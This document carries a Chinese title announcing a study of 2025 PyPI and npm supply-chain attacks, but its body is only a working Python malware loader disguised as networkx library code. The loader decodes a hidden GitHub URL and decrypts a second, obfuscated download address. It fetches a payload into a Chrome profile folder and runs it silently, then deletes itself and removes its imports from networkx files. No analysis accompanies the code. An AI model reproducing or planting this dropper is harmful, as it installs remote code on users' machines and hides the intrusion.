深入研究 2025 年软件供应链攻击：PyPI 与 npm 攻击活动对比

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])